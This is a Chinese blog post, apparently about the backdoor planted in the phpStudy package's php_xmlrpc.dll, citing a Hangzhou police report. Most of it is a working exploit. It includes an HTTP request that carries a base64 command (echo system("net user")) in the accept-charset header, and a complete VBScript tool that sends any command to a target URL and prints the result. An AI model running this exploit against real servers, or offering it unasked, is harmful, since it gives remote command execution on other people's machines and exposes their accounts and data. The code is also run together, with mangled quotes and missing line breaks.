前几天杭州公安发布了关于“杭州警方通报打击涉网违法犯罪暨“净网2019”专项行动战果”,其中提到的一起案件,phpstudy在2016年时就被犯罪分子植入了后门。
Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。 正是这样一款公益性软件,2018年12月4日,西湖区公安分局网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。
犯罪分子主要是在php_xmlrpc.dll放入了恶意代码,可以利用它执行rce及反连等操作。
如果向其使用phpstudy的服务器发送发下格式数据包,就可以执行命令:
GET / HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Connection: closeaccept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7Accept-Encoding: gzip,deflateUpgrade-Insecure-Requests: 1
上边代码块中的ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7是echo system(\”net user\”);的base64编码。
我写了一个验证的vbs小程序,代码如下:
if (lcase(right(wscript.fullname,11))=\”wscript.exe\”) thenwscript.echo \”Execute it under the cmd.exe Plz! Thx.\”wscript.quitend Ifif wscript.arguments.count<1 Then wscript.echo \”use: cscript \”&wscript.scriptfullname&\” http://xxxx/phpstudy/\” wscript.quitend Ifpayload=\”echo 1111;system(’\”&wscript.arguments(1)&\”’);echo 1111;\”’wsh.echo base64encode(payload)Set Retrieva = CreateObject(\”Msxml2.ServerXMLHTTP\”) Retrieva.Open \”Get\”, wscript.arguments(0), FalseRetrieva.SetRequestHeader \”accept-charset\”, base64encode(payload)Retrieva.SetRequestHeader \”Accept-Encoding\”, \”gzip,deflate\”Retrieva.Send result=Split(Retrieva.ResponseTEXT,\”1111\”)wsh.echo result(1) function base64encode(pstext)dim oxml, ostream, onodeset oxml =createobject(\”msxml2.domdocument\”)set ostream =createobject(\”adodb.stream\”)set onode =oxml.createelement(\”tmpnode\”)onode.datatype =\”bin.base64\”ostream.charset =\”gb2312\”ostream.type =2’0=adstateclosed 1=adstateopenif ostream.state =0 then ostream.open()ostream.writetext(pstext)ostream.position =0ostream.type =1’1=adtypebinary 2=adtypetextonode.nodetypedvalue =ostream.read(-1)’-1=adreadallostream.close()base64encode =onode.textset onode =nothingset ostream =nothingset oxml =nothingend Function
效果图如下: